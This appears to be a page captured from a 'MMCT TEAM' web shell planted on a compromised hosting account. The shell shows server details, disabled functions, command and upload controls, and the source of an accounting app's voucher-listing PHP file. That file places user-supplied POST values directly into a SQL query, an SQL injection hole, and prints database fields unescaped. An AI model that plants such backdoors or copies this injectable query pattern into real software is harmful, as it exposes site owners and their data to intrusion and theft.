MMCT TEAM
Server IP : 2a02:4780:3:1493:0:3736:a38e:7  /  Your IP : 216.73.216.139
Web Server : LiteSpeed
System : Linux sg-nme-web1393.main-hosting.eu 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64
User : u926327694 ( 926327694)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u926327694/domains/smsoft.in/public_html/demo/accounts/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u926327694/domains/smsoft.in/public_html/demo/accounts/vocher_display.php
<?php 

    // First we execute our common code to connection to the database and start the session 
    //  require("../common.php"); 
     session_start();
    // At the top of the page we check to see whether the user is logged in or not 
    if(!isset($_SESSION['user']) && !isset($_SESSION['Mng_User'])) 
    { 
        // If they are not, we redirect them to the login page. 
        header("Location: ../index.php"); 
         
        // Remember that this die statement is absolutely critical.  Without it, 
        // people can view your members-only content without logging in. 
        die("Redirecting to ../index.php"); 
    } 
     
    // Everything below this point in the file is secured by the login system 
     
    // We can display the user's username to them by reading it from the session array.  Remember that because 
    // a username is user submitted content we must use htmlentities on it before displaying it to the user. 

?>

<?php


        
 include "config/config.php";
 
$income_sql_res = "SELECT * FROM `vochers` WHERE `Type` = 'Recipt'";
$expenditure_sql_res = "SELECT * FROM `vochers` WHERE `Type` = 'Payment'";




?>


<!DOCTYPE html>
<html lang="en">

<head>

    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="">
    <meta name="author" content="">

    

    <!-- Bootstrap Core CSS -->
    <title>E_Vi Accounts</title>

    <!-- Bootstrap Core CSS -->
  <?php  include "html-head.php" ?>


</head>

<body>

    




        <!-- Navigation -->
        <nav class="navbar navbar-default navbar-static-top" role="navigation" style="margin-bottom: 0">
            <div class="navbar-header">
                <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
                    <span class="sr-only">Toggle navigation</span>
                    <span class="icon-bar"></span>
                    <span class="icon-bar"></span>
                    <span class="icon-bar"></span>
                </button>
                
                    <h3 style="margin-left: 20px;margin-bottom: 20px;color: Red" href="#"><b><?php include "Name.txt"; ?></b></h3>

            </div>
            <!-- /.navbar-header -->

            
            <!-- /.navbar-top-links -->

            <?php
            include "header.php";
            ?>
            <!-- /.navbar-static-side -->
        </nav>


          <div id="wrapper">
         <div id="page-wrapper">
            <br>
 



         <div class="tab-content">
    <div  class="tab-pane fade in active">


      
                <div class="row">
                    <div class="col-lg-12">
                        <div class="panel-body">
                            <?php 
                                $FromDate=date('Y-m-01', strtotime("now"));
                                $ToDate=date('Y-m-t', strtotime("now"));
                                if(isset($_POST['btnSubmit']))
                                {
                                    $FromDate=$_POST['from'];
                                    $ToDate=$_POST['to'];
                                }
                            ?>
                                <form role="form" action=""  method="post">




                                 <div class="col-lg-4">
                                    
                                        <div class="form-group">
                                            <label>From Date</label>
                                            <input type="date" class="form-control" name="from" required value="<?php echo $FromDate; ?>">
                                        </div>
                                      
                                </div>   
                                    <div class="col-lg-4">
                                        <div class="form-group">
                                            <label>To Date</label>
                                            <input type="date" class="form-control" name="to"  required value="<?php echo $ToDate; ?>">
                                        </div>
                                    </div>                                

                                  <div class="col-lg-4">

                                    <div class="form-group">
                                            <label>Vocher Type</label>
                                            <select class="form-control" name="v_type"  required ">
                                                <option value="Recipt">Recipt</option>
                                                <option value="Payment">Payment</option>
                                                <option value="Contra">Contra</option>
                                                <option value="Jornals">Jornals</option>
                                                <option value="all">All</option>

                                            </select>
                                        </div>
                                    
                                        
                                      
                                </div>   
                                     <div class="col-lg-12">
                                <center>
                                       
                                        <button type="submit" class="btn btn-default">Submit Button</button></a>
                                        <button type="reset" class="btn btn-default">Reset Button</button>
                                </center>
                            </div>
                            </form>  
                                </div>
                            <div class="row">

            <?php
            if ($_SERVER['REQUEST_METHOD'] == 'POST') 
            {

            if($_POST['v_type'] == "all")
            {
                $args="";
            }
            else
                $args="and `Type` = '$_POST[v_type]'";
             
            $vochers_res=mysqli_query($con,"SELECT * FROM `vochers` where `Date` >= '$_POST[from]' and `Date` <= '$_POST[to]' $args order by Date asc");
            ?>
            <table width="100%" class="table table-striped table-bordered table-hover" id="example">
                           <thead> <tr>
                                    <th>Date</th>
                                    <th>Vocher Number</th>
                                    <th>Debit</th>
                                    <th>Credit</th>
                                    <th>Amount</th>
                                    <th>Narration</th>
                                    <th></th> <th></th> <th></th><th></th>

                                </tr>
                            </thead>
                                <tbody>
                            <?php
                               while($vochers=mysqli_fetch_array($vochers_res))
                                {
                                ?>
                            
                                <tr>
                                    <td><?php  echo Date('d-m-Y',strtotime($vochers['Date']));  ?></td>
                                    <td><?php  echo "$vochers[Type]"."-"."$vochers[v_counter]";  ?></td>
                                    <td><?php  echo "$vochers[Dr_Ledger]";  ?></td>
                                    <td><?php  echo "$vochers[Cr_Ledger]";  ?></td>
                                    <td><?php  echo "$vochers[Cr_Amount]";  ?></td>
                                    <td><?php  echo "$vochers[Nrtn]";  ?></td>
                                    <?php
                                    /*if(($vochers['Nrtn'] != "Fees Collected") && isset($_SESSION['user']))
                                    {*/
                                    ?>
                                    <td><a href="vochers_edit.php?id=<?php echo $vochers['V_Id']; ?>">Edit</a></td>
                                    <td><a href="vochers_delete.php?id=<?php echo $vochers['V_Id']; ?>">Delete</a></td>
                                   <td><a href="vochers_print.php?id=<?php echo $vochers['V_Id']; ?>">Print</a></td>
                                    <?php
                                    /*}
                                    else
                                    {
                                        ?>
                                        <td></td>
                                        <td></td>
                                         <td></td>
                                        

                                        <?php
                                    }*/
                                    if(($vochers['Type'] == "Payment")  && isset($_SESSION['user']))
                                    {
                                    ?>
                                        <td><a href="Bank-Recons.php?id=<?php echo $vochers['V_Id']; ?>">Bank Recons</a></td>
                                    <?php
                                    }
                                    else
                                    {
                                        ?>
                                        <td></td>
                                    <?php
                                    }
                                    ?>
                                    </tr>
                                    <?php
                                }
                                    ?>
                                    </tbody>
                                 </table>

                                 </div>
                                <!-- /.panel-body -->
                            </div>
                            <!-- /.Vocher End -->
                         <?php
                                }
                                    ?>


                </div>
                <!-- /.col-lg-12 -->
            </div>
               <!-- /.ROW -->
     


    </div>

 
    <!-- /#wrapper -->




  
    <!-- DataTables JavaScript -->
    
    <!-- Custom Theme JavaScript -->
  

 
<?php  include "html-footer.php" ?>



    
</body>

</html>

MMCT - 2023